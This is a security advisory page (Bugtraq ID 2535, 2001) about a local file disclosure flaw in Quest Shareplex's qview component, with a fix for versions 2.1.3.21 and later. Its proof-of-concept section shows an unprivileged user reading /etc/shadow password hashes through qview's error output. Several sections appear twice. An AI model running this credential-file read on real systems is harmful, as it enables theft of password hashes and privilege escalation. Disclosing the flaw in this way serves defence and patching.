Shareplex Arbitary Local File Disclosure Vulnerability
BID:2535
Info
Shareplex Arbitary Local File Disclosure Vulnerability
| Bugtraq ID: | 2535 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Mar 30 2001 12:00AM |
| Updated: | Mar 30 2001 12:00AM |
| Credit: | Reported to bugtraq by Dixie Flatline <[email protected]> on Fri, 30 Mar 2001 |
| Vulnerable: |
Quest Software Shareplex 2.2.2 beta Quest Software Shareplex 2.1.3 .9 |
| Not Vulnerable: |
Quest Software Shareplex 2.1.3 .21 |
Discussion
Shareplex Arbitary Local File Disclosure Vulnerability
Shareplex is a database replication tool from Quest Software.
Versions of the product contain a vulnerability which can permit local unprivileged users to read arbitrary files.
The Qview component of Shareplex allows its user to specify a file containing Qview commands as input.
If the contents of the file are not valid Qview commands, they will be output to standard error as part of error messages. Exploiting this behaviour, an attacker can obtain the contents of normally unreadable, sensitive files
from this error output.
This may lead to a compromise of enhanced privileges.
Shareplex is a database replication tool from Quest Software.
Versions of the product contain a vulnerability which can permit local unprivileged users to read arbitrary files.
The Qview component of Shareplex allows its user to specify a file containing Qview commands as input.
If the contents of the file are not valid Qview commands, they will be output to standard error as part of error messages. Exploiting this behaviour, an attacker can obtain the contents of normally unreadable, sensitive files
from this error output.
This may lead to a compromise of enhanced privileges.
Exploit / POC
Shareplex Arbitary Local File Disclosure Vulnerability
$ id
uid=500(foo) gid=200(bar)
$ cd <path to shareplex binaries>
$ ./qview
qdump> cmd /etc/shadow
Executing: root:xDmyz1K9xRKRo:11236::::::
invalid command root:xDmyz1K9xRKRo:11236::::::
...
Executing: splex:BdJCfh1D32hzo:11290::::::
invalid command splex:BdJCfh1D32hzo:11290::::::
Executing: foo:2MQXUgAcnOcEU:11344::::::
invalid command foo:2MQXUgAcnOcEU:11344::::::
qdump> quit
$
$ id
uid=500(foo) gid=200(bar)
$ cd <path to shareplex binaries>
$ ./qview
qdump> cmd /etc/shadow
Executing: root:xDmyz1K9xRKRo:11236::::::
invalid command root:xDmyz1K9xRKRo:11236::::::
...
Executing: splex:BdJCfh1D32hzo:11290::::::
invalid command splex:BdJCfh1D32hzo:11290::::::
Executing: foo:2MQXUgAcnOcEU:11344::::::
invalid command foo:2MQXUgAcnOcEU:11344::::::
qdump> quit
$
Solution / Fix
Shareplex Arbitary Local File Disclosure Vulnerability
Solution:
The issue is patched in SharePlex 2.1.3.21 and above. The patched version of qview seems to remove the offending fuctionality completely.
Solution:
The issue is patched in SharePlex 2.1.3.21 and above. The patched version of qview seems to remove the offending fuctionality completely.